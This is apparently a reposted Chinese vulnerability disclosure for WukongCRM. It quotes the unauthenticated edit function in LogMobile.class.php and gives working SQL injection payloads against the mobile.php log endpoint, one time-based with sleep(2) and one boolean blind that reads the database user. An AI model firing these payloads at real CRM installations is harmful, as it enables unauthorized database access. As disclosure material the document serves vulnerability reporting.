HanDs
NO.2

[7月漏洞公开] 悟空CRM无需任何权限的SQL注入漏洞2(ThinkPHP特性) 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

一个没有权限控制的类,正好又有注入~
(给L.N.添堵系列之三)
另外厂商分给高点呗,别这么小气~本来不想挖了的。

详细说明:

/App/Lib/Mobile/LogMobile.class.php

这个类没有权限验证(_initialize方法)哦~

看到edit函数:

code 区域
//修改沟通日志
public function edit(){
if($this->isPost()){
$id = isset($_POST['id']) ? intval($_POST['id']) : 0;
$params = json_decode($_POST['params'],true);
if(!is_array($params)){
$this->ajaxReturn('非法的数据格式!','非法的数据格式!',2);
}
if(!$id){
$this->ajaxReturn('参数错误','参数错误',2);
}
$log = M('Log');
$log -> create($params);
$log -> update_date = time();
$result = $log->save();
if($result){
$this->ajaxReturn('修改成功','修改成功',1);
}else{
$this->ajaxReturn('修改失败,请重试','修改失败,请重试',2);
}
}
}



乍一看没啥问题,实际上暗含一个ThinkPHP特性的漏洞,详见我发的 http://**.**.**.**/bugs/wooyun-2010-086737

这里create方法先获取所有$params,并根据POST中传入的主键(log_id)来update数据库。而update的where实际上就是 array('log_id', $params['log_id']);

只要我传入的$params['role_id']的值是数组,并且数组的第一个参数是exp,那么第二个参数就可以直接填SQL注入语句。



直接演示。

**.**.**.**/wukongcrm/mobile.php?m=log&a=edit

POST数据包:id=1&params={"log_id":["exp","=sleep(2)"],"content":"phithon"}

可以sleep两秒:

QQ20160408-0@2x.png





注入log表中有数据的话,可以使用bool盲注。user()的第一个字符大于0,正确,返回真:

QQ20160408-1@2x.png



user()的第一个字符大于200,不正确,返回假:

QQ20160408-2@2x.png



code 区域
**.**.**.**/wukongcrm/mobile.php?m=log&a=edit
id=1&params={"log_id":["exp","=-1 or ord(substr(user(),1,1))>200"],"content":"phithon"}

漏洞证明:

修复方案:


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
悟空 C RM
#1楼
发帖时间:2016-7-11   |   查看数:0   |   回复数:0
游客组